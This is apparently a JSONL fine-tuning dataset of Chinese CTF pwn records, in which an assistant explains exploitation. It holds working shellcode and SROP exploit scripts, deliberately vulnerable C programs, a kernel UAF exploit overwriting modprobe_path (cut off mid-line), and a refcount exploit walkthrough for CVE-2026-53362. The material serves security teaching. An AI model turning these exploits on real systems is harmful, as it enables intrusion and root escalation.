0;\n}\n```\n\n拷贝过程与申请过程对应：如果总长度小于 `DATALEN_MSG`，则直接从 `msg_msg` 后方拷贝；否则继续沿 `msg_msgseg` 单向链表拷贝，直到 `seg->next == NULL`。\n\n实际拷贝总长度由下面逻辑决定：\n\n```c\nmsgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;\n```\n\n在 `bufsz` 足够大的情况下，拷贝长度由 `msg->m_ts` 决定。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-12399690e75dec21", "original_line": 333, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-67f5b90a9d9e8eeab527", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/Pivots.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/Pivots.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n- stack/rop\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n\n/**\n * @defgroup pivot_classes Pivot Classes\n * @brief Classes for stack pivoting and related techniques.\n */\n\n/**\n * @ingroup pivot_classes\n * @brief Enum representing the type of indirect jump.\n */\nenum class IndirectType { JMP, CALL };\n\n/**\n * @ingroup pivot_classes\n * @brief Base struct for all pivot gadgets.\n */\nstruct Pivot {\n    uint64_t address;\n};\n\n/**\n * @ingroup pivot_classes\n * @brief Represents the usage of a register and the offsets relative to it that are used.\n */\nstruct RegisterUsage {\n    /** @brief The register being used. */\n    Register reg;\n    /** @brief A vector of offsets relative to the register that are used. */\n    std::vector used_offsets;\n};\n\n/**\n * @ingroup pivot_classes\n * @brief Represents a stack shifting pivot gadget.\n */\nstruct StackShiftPivot: Pivot {\n    /** @brief The offset from the new stack pointer where the next return address is expected. */\n    uint64_t ret_offset;\n    /** @brief The amount by which the stack pointer is shifted. */\n    uint64_t shift_amount;\n\n    /**\n     * @brief Checks if the gadget jumps to the shifted stack location.\n     * @return True if the gadget jumps to the shifted stack location, false otherwise.\n     */\n    bool JumpsToShift() const { return ret_offset == shift_amount - 8; }\n};\n\n/**\n * @ingroup pivot_classes\n * @brief Represents a one-gadget pivot.\n */\nstruct OneGadgetPivot: Pivot {\n    /** @brief Information about the register used for the pivot. */\n    RegisterUsage pivot_reg;\n    /** @brief The offset from the pivot register's value to the next instruction pointer. */\n    int64_t next_rip_offset;\n};\n\n/**\n * @ingroup pivot_classes\n * @brief Represents a push indirect pivot gadget.\n */\nstruct PushIndirectPivot: Pivot {\n    /** @brief The type of indirect jump (JMP or CALL). */\n    IndirectType indirect_type;\n    /** @brief Information about the register being pushed onto the stack. */\n    RegisterUsage push_reg;\n    /** @brief Information about the register containing the indirect address. */\n    RegisterUsage indirect_reg;\n    /** @brief The offset from the indirect register's value to the next instruction pointer. */\n    int64_t next_rip_offset;\n};\n\n/**\n * @ingroup pivot_classes\n * @brief Represents a pop RSP pivot gadget.\n */\nstruct PopRspPivot: Pivot {\n    /** @brief The change in the stack pointer before the RSP register is popped. */\n    uint64_t stack_change_before_rsp;\n    /** @brief The offset from the new RSP value to the next instruction pointer. */\n    int64_t next_rip_offset;\n};\n\n/**\n * @ingroup pivot_classes\n * @brief A collection of different types of pivot gadgets.\n */\nstruct Pivots {\n    /** @brief A vector of one-gadget pivots. */\n    std::vector one_gadgets;\n    /** @brief A vector of push indirect pivots. */\n    std::vector push_indirects;\n    /** @brief A vector of pop RSP pivots. */\n    std::vector pop_rsps;\n    /** @brief A vector of stack shifting pivots. */\n    std::vector stack_shifts;\n};\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-0546f8d9a744ee0b", "original_line": 303, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/Pivots.h", "split": "train", "split_group_key": "d93601216870b3244a995f0a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/pivot/Pivots.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-67f795bb81db84132299", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2reg/rsp_shellcode/source.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2reg/rsp_shellcode/source.c`\n\n分类：stack\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```c\n#include \n\nint test = 0;\n\nint main() {\n    char input[100];\n\n    puts(\"Get me with shellcode and RSP!\");\n    gets(input);\n\n    if(test) {\n        asm(\"jmp *%rsp\");\n        return 0;\n    }\n    else {\n        return 0;\n    }\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-3df036bb7c67e792", "original_line": 545, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2reg/rsp_shellcode/source.c", "split": "train", "split_group_key": "bb207550605bf599db36c59b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2reg/rsp_shellcode/source.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-690ae296bcdeebe7ac93", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题\n\n> 例题：rsp_shellcode\n\n+ 源代码\n\n```c\n#include \n\nint test = 0;\n\nint main() {\n    char input[100];\n\n    puts(\"Get me with shellcode and RSP!\");\n    gets(input);\n\n    if(test) {\n        asm(\"jmp *%rsp\");\n        return 0;\n    }\n    else {\n        return 0;\n    }\n}\n```\n\n+ 分析\n\n查保护，没有`NX`和`canary`以及`PIE`保护，即栈可执行。\n\n[图片: image][图片: image]\n\n分析源代码发现很明显的栈溢出漏洞，并且溢出字节没有限制。\n\n源代码中还内嵌了一个`jmp rsp`的汇编指令，猜测要通过 ret2reg 的方式打 shellcode。\n\ngdb 调试发现在函数返回的时候`rsp`仍然指向输入缓冲区地址。\n\n[图片: image]\n\n这样我们可以通过将返回地址覆盖为`jmp rsp`来让`rip`指向缓冲区，然后在`jmp rsp`指令后拼接上 shellcode 让程序执行 shellcode。\n\n可以将 shellcode 拼接在`jmp rsp`后面是因为程序可以溢出很长的字节，我们可以在填充和`jmp rsp`的后面直接拼接上 shellcode。但是如果程序溢出长度不满足，那么我们就要通过其它方法了。\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\n#查找程序gadget\njmp_rsp = next(elf.search(asm('jmp rsp')))\n\npayload = flat(\n    b'a' * 120,\n    jmp_rsp,\n    asm(shellcraft.sh())\n)\nsla(\"RSP!\\n\",payload)\nia()\n```\n\n\n> 例题：X-CTF Quals 2016 - b0verfl0w\n\n+ 分析\n\n查保护，32位程序无`NX`、`canary`以及`PIE`保护，栈可执行。\n\n[图片: image]\n\nida反编译分析伪代码。\n\n程序限制读取 50 个字节，所以我们只能溢出 18 个字节。\n\n接下来 gdb 调试一下。\n\n[图片: image]\n\ngdb 动调调试发现，在程序返回时`esp`寄存器仍然指向输入缓冲区。\n\n[图片: image]\n\n并且我们通过 ROPgadget 在程序中搜索到了`jmp esp`指令。\n\n[图片: image]\n\n这样很明显可以进行 ret2reg 利用，但是溢出仅仅只有 18 字节，我们无法像上题一样直接在`jmp esp`后面拼接 shellcode。这里我们就需要换一种方法了。\n\n我们无法直接返回执行很长的 shellcode，但是可以通过构造简短的汇编指令将栈指针进行一个迁移。比如我们将其迁移到 payload 的前部分。这样我们可以直接将 payload 的前部分的填充替换为 shellcode，然后通过 ret2reg 迁移执行。\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nshellcode=asm(\"\"\"\npush 0x68732f\npush 0x6e69622f\nmov ebx,esp\nxor ecx,ecx\npush 11\npop eax\nint 0x80\n\"\"\")\n\njmp_esp = next(elf.search(asm('jmp esp')))\npayload = shellcode.ljust(0x24,b'a') + p32(jmp_esp) + asm('sub esp, 0x28;jmp esp')\nprint(len(payload))\nsl(payload)\n\nia()\n```\n\n\n> 例题：ciscn_2019_s_9\n\n+ 分析\n\n查保护发现几乎没保护，可以尝试打 shellcode。\n\n[图片: image]\n\n\n分析`main`函数，发现关键函数`pwn`，跟进查看。\n\n[图片: image]\n\n分析代码发现，`fgets`可以向长度为 24 字节的变量`s`读入 50 个字符，所以存在栈溢出。\n\n溢出字节为 18 个字节。\n\n[图片: image]\n\ngdb 动态调试发现，在`pwn`函数返回时`esp`是指向栈顶的。\n\n[图片: image]\n\n而且我们在函数表中发现了`jmp rsp`指令，所以接下来的思路就很清晰了。\n\n通过 ret2reg打 shellcode。\n\n[图片: image]\n\n\n但是我们溢出长度只有 18 个字节，并不足够在`jmp esp`后拼接上 shellcode。\n\n所以我们仍然要通过简单的汇编指令来将栈帧迁移到 payload 的前部分，然后在 payload 的前部分拼接上我们的 shellcode。\n\n这里使用的是手写的汇编，因为 pwntools 生成的太长了，都超出填充长度了。。。\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\njmp_esp = next(elf.search(asm('jmp esp')))\nshellcode=b\"\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80\"\npayload = shellcode.ljust(36,b'a')+ p32(jmp_esp) + asm('sub esp,40;jmp esp')\nr()\nsl(payload)\n\nia()\n```\n\n总结：如果溢出字节足够长就在`jmp reg`指令后拼接执行 shellcode，如果溢出不够长就构造汇编指令将栈指针迁移到payload 前部分 然后在 payload 前部分拼接上 shellcode 执行。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-b37a88bb6c770a05", "original_line": 607, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-691ed8b9ae5698c25164", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题\n\n通俗来说就是程序运行同样会加载 VDSO 文件到内存中，而 VDSO 中存在可以利用的 gadget。并且 32 位系统的 VDSO 随机化是非常弱的，我们可以通过暴力破解的方式获取到。然后就可以利用 VDSO 中的 gadget 来进行 SROP，然后就可以 getshell。\n\n一般出 ret2vdso 的题目是直接使用汇编出的，gadget 非常少。但是这里我们只是学习如何利用，这里就直接拿课程中的题目来学习了。虽然这题其实不仅仅可以这样解。\n\n+ 源代码\n\n```c\n#include \n#include \n\nchar buf[10] = \"/bin/sh\\x00\";\n\nvoid pwnme() {\n    char s[0x100];\n    char *welcome = \"> \";\n    write(1, welcome, 2);\n    read(0, s, 0x400);\n}\n\nint main() {\n    pwnme();\n    return 0;\n}\n```\n\n+ 反编译分析\n\n很明显存在栈溢出漏洞，溢出长度为`110`。\n\n[图片: Pasted image 20250112214136]\n\n+ 获取 vdso\n\n先关掉 ASLR 随机化，然后运行脚本 dump vdso文件。\n\n```python\nfrom pwn import *\nimport random\nimport time\n\ncontext(arch='i386', os='linux')\nelf = ELF(\"./ret2vdso_x32\")\nRANGE_VDSO  = range(0xf7fc4000, 0xf7fc6000, 0x1000)\n#0xf7fc4000 0xf7fc6000 r-xp     2000      0 [vdso]\nwhile(True):\n    try:\n        sh = process(elf.path)\n        #vdso_addr = random.choice(RANGE_VDSO)\n        vdso_addr = 0xf7fc4000\n        sh.recvuntil(b'> ')\n        #利用栈溢出及泄露函数泄露内存\n        sh.send(b'a' * 0x110 +\n                p32(elf.symbols['write']) +\n                p32(0) +\n                p32(1) + # fd\n                p32(vdso_addr) + # buf\n                p32(0x2000) # count\n                )\n\n        result = sh.recvall(0.1)\n        if(len(result) != 0):\n            open('vdso.so', 'wb').write(result)\n            sh.close()\n            log.success(\"Success\")\n            exit(0)\n        sh.close()\n    except Exception as e:\n        sh.close()\n```\n\nobjdump 反汇编 dump 的 vdso 文件，获取到其中的关键 gadget。\n\n[图片: Pasted image 20250112213633]\n\n接下来我们就可以通过`sigreturn`打 SROP 了，最后动态调试一下查看一下需要恢复的段寄存器值。\n\n[图片: image-20260519215729276]\n\n然后查找一下程序中有没有`/bin/sh`字符串。\n\n```\n❯ ROPgadget --binary ./ret2vdso_x32 --string \"/bin/sh\"\nStrings information\n============================================================\n0x0804c020 : /bin/sh\n```\n\n最后构造 exp 就行了。\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('./ret2vdso_x32')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nbin_sh_addr = 0x0804C020\nbss_addr = 0x0804C02A\nvdso_addr = 0xf7fc4000\n\nlg('Try vdso',vdso_addr)\n\nframe = SigreturnFrame(kernel=\"i386\")\nframe.eax = constants.SYS_execve\nframe.ebx = bin_sh_addr\nframe.eip = vdso_addr + 0x566 # 中断地址\nframe.esp = bss_addr\nframe.ebp = bss_addr\nframe.gs = 99\nframe.cs = 35\nframe.es = 43\nframe.ds = 43\nframe.ss = 43\n\nret_addr = vdso_addr + 0x561 # sigreturn 地址\n\npayload = flat([cyclic(0x10c+4), ret_addr, frame])\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 36, "ctf_task_type": "pwn", "original_id": "pwn101-doc-263a7648bed418d2", "original_line": 590, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-69328440fbbe94bffd9d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「From stale skb metadata to a dangling pipe page」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### From stale skb metadata to a dangling pipe page\n\nThe initial skb setup clears the leading `skb_shared_info` fields, including\n`nr_frags`, but it does not clear the later `frags[]` array. The exploit uses\nthat partial initialization to preserve an old `skb_frag_t` whose page field\npoints to a selected pipe page.\n\nThe page and skb grooming proceed in this order:\n\n1. The exploit writes 256 bytes of `0x41` into the source pipe `wp`, allocating\n   one order-0 pipe page.\n2. Eight calls to `tee()` clone that pipe buffer into eight holding pipes.\n   These references keep the page alive while its descriptor is planted and\n   reused.\n3. One corked grooming socket receives\n   `904 + 16 * 912 = 15496` pipe-backed bytes. After the first 904 bytes, the\n   sixteen 912-byte portions create sixteen target skb heads whose\n   `frags[0]` descriptors refer to the source pipe page.\n4. The grooming socket is closed immediately before the two trigger splices.\n   This releases the sixteen target heads together; their page references are\n   balanced, but descriptor-shaped bytes remain in the freed objects.\n5. The vulnerable second skb reuses one of those heads. The 15-byte Fraggap\n   overwrite sets `nr_frags = 1` while leaving the stale `frags[0]`\n   descriptor at offset `0x30` intact.\n6. The second `splice()` still has 20 bytes to consume. On the next append\n   iteration, `skb_splice_from_iter()` installs the trigger-pipe page as the\n   valid `frags[1]` entry and advances `nr_frags` to two.\n7. Closing the trigger socket frees the corked write queue. The skb release\n   path walks both entries: `frags[0]` performs an unmatched page put on the\n   source pipe page, while `frags[1]` releases the valid reference acquired\n   for the second trigger pipe.\n\nThe target heads come from the dedicated `skbuff_small_head` cache. Each\n704-byte object provides 384 bytes of linear head space followed by the\n320-byte `skb_shared_info`. The 320-byte routing header and its option storage\nuse `kmalloc-512`, while the first trigger skb requires `kmalloc-1k`. The\nvulnerable second skb is the 384-byte small-head case, so those unrelated\nallocations do not consume the sixteen groomed target objects.\n\nThe relevant release path is:\n\n```text\nclose(trigger socket)\n  -> udp_v6_flush_pending_frames()\n     -> ip6_flush_pending_frames()\n        -> kfree_skb()\n           -> skb_release_data()\n              -> __skb_frag_unref(frags[0])  # stale source-pipe page\n              -> __skb_frag_unref(frags[1])  # valid trigger-pipe page\n```\n\nIgnoring temporary grooming references, which are acquired and released in\nbalanced pairs, the source page's refcount evolves as follows:\n\n| Point | Logical owners | Intended refcount | Actual refcount |\n| --- | ---: | ---: | ---: |\n| Source pipe contains the page | 1 | 1 | 1 |\n| Eight holding pipes created with `tee()` | 9 | 9 | 9 |\n| Corrupted skb is released | 9 | 9 | 8 |\n| Eight holding pipes are closed | 1 | 1 | 0 |\n\nAt the final point, the page allocator sees a free page, but the original\n`wp` pipe buffer still contains its page pointer, offset, length, and merge\nflag. This dangling pipe buffer is the input primitive for the page-table\nreclaim.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-50d5e35bf620fab0", "original_line": 390, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "split_group_key": "7f9976b6c691c088eb102a55"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6a0981e070d262bbbad0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/tcache绕过/pwn.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/tcache绕过/pwn.c`\n\n分类：heap\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `get_num`\n- `main`\n- `menu`\n\n利用主题关键词：\n- heap/tcache\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x100`\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n\nchar *chunk_list[0x100];\n\nvoid menu() {\n    puts(\"1. add chunk\");\n    puts(\"2. delete chunk\");\n    puts(\"3. edit chunk\");\n    puts(\"4. show chunk\");\n    puts(\"5. exit\");\n    puts(\"choice:\");\n}\n\nint get_num() {\n    char buf[0x10];\n    read(0, buf, sizeof(buf));\n    return atoi(buf);\n}\n\nvoid add {\n    puts(\"index:\");\n    int index = get_num();\n    puts(\"size:\");\n    int size = get_num();\n    chunk_list[index] = malloc(size);\n}\n\nvoid delete {\n    puts(\"index:\");\n    int index = get_num();\n    free(chunk_list[index]);\n}\n\nvoid edit {\n    puts(\"index:\");\n    int index = get_num();\n    puts(\"length:\");\n    int length = get_num();\n    puts(\"content:\");\n    read(0, chunk_list[index], length);\n}\n\nvoid show {\n    puts(\"index:\");\n    int index = get_num();\n    puts(chunk_list[index]);\n}\n\nint main() {\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n    setbuf(stderr, NULL);\n\n    while (1) {\n        menu();\n        switch (get_num()) {\n            case 1:\n                add;\n                break;\n            case 2:\n                delete;\n                break;\n            case 3:\n                edit;\n                break;\n            case 4:\n                show;\n                break;\n            case 5:\n                exit(0);\n            default:\n                puts(\"invalid choice.\");\n        }\n    }\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-e85d58a978d7f4cc", "original_line": 39, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache绕过/pwn.c", "split": "train", "split_group_key": "6072bce781310a95bbf2b324"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache绕过/pwn.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6a2fd5b6fbdee179cf33", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「任意地址写」。\n资料来源：Kernel/readme.md；主题：利用msg_msg实现任意地址读写；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 任意地址写\n\n我们可以通过结合`userfaultfd`或者`FUSE`实现`race condition`。当我们在调用`msgsnd `系统调用时，其会继续调用`load_msg`将用户数据拷贝到内核空间中。它会先调用`alloc_msg`分配`msg_msg`的单向链表，之后才会进行数据的拷贝过程。所以这里的空间分配和数据拷贝实际上是分开进行的。故我们不难想到，在拷贝时利用`userfaultfd`或者`FUSE`将拷贝停止下来，并在子进程中篡改`msg_msg->next`，恢复拷贝后即可向我们篡改后的地址上写入数据，从而实现任意地址写。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0dfade3c4c8cac07", "original_line": 408, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/readme.md", "split": "train", "split_group_key": "d589209c11be5b5bd758636a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6aac3b1e202a388b1ff4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/RWCTF2022 高校赛 - Digging into kernel/exp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/RWCTF2022 高校赛 - Digging into kernel/exp.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `alloc_buf`\n- `bindCore`\n- `edit_buf`\n- `main`\n- `read_buf`\n\n利用主题关键词：\n- uaf/double-free\n- io-file/fsop\n- seccomp/orw\n- kernel\n\n关键常量/偏移样例：\n`0x100`, `0x1000`, `0x9d000`, `0x1111111`, `0x1444700`, `0x6666666`, `0x7777777`, `0xFFFFFFFFF0000000`\n\n训练用代码片段：\n```c\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define MODPROBE_PATH_OFFSET 0x1444700\n#define MAGIC_PATH \"/home/pwn\"\n\nstruct xkdata\n{\n    size_t *user_buf;\n    unsigned int offset;\n    unsigned int length;\n};\n\n/* bind the process to specific core */\nvoid bindCore(int core)\n{\n    cpu_set_t cpu_set;\n\n    CPU_ZERO(&cpu_set);\n    CPU_SET(core, &cpu_set);\n    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);\n\n    printf(\"[*] Process binded to core %d\\n\", core);\n}\n\nvoid alloc_buf(int dev_fd, struct xkdata *data)\n{\n    ioctl(dev_fd, 0x1111111, data);\n}\n\nvoid edit_buf(int dev_fd, struct xkdata *data)\n{\n    ioctl(dev_fd, 0x6666666, data);\n}\n\nvoid read_buf(int dev_fd, struct xkdata *data)\n{\n    ioctl(dev_fd, 0x7777777, data);\n}\n\nint main(int argc, char **argv, char **envp)\n{\n    int dev_fd[8], root_script_fd;\n    size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;\n    char root_cmd[] = \"#!/bin/sh\\nchmod 777 /flag\";\n    char flag[0x100];\n    int flag_fd;\n\n    // bind the process to core 0\n    bindCore(0);\n\n    // create fake modprobe_path file\n    root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);\n    write(root_script_fd, root_cmd, sizeof(root_cmd));\n    close(root_script_fd);\n    system(\"chmod +x \" MAGIC_PATH);\n\n    // kmalloc-192\n    for (int i = 0; i < 8; i++) {\n        dev_fd[i] = open(\"/dev/xkmod\", O_RDONLY);\n    }\n\n    // UAF\n    struct xkdata data;\n    data.user_buf = malloc(0x1000);\n    data.offset = 0;\n    data.length = 0x50;\n    memset(data.user_buf, 0, 0x1000);\n    alloc_buf(dev_fd[0], &data);\n    edit_buf(dev_fd[0], &data);\n    close(dev_fd[0]);\n\n    // leak heap\n    read_buf(dev_fd[1], &data);\n    heap_leak = data.user_buf[0];\n    // printf(\"[+] Heap l3ak: %p\\n\", (void *)heap_leak);\n\n    // kernel heap base addr: page_offset_base\n    kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;\n    printf(\"[+] Kernel heap base: %p\\n\", (void *)kernel_heap_base);\n    secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;\n    printf(\"[+] Chunk for kernel base l3ak: %p\\n\", (void *)secondary_startup_64_chunk);\n\n    // allocate chunk for kernel base leak\n    memset(data.user_buf, 0, 0x1000);\n    data.user_buf[0] = secondary_startup_64_chunk;\n    data.offset = 0;\n    data.length = 0x8;\n    edit_buf(dev_fd[1], &data);\n    alloc_buf(dev_fd[1], &data);\n    alloc_buf(dev_fd[1], &data); // get the chunk\n    data.length = 0x20;\n    read_buf(dev_fd[1], &data);\n    kernel_leak = data.user_buf[2];\n    // printf(\"[+] Kernel l3ak: %p\\n\", (void *)kernel_leak);\n    kernel_base = kernel_leak - 0x30;\n    printf(\"[+] Kernel base: 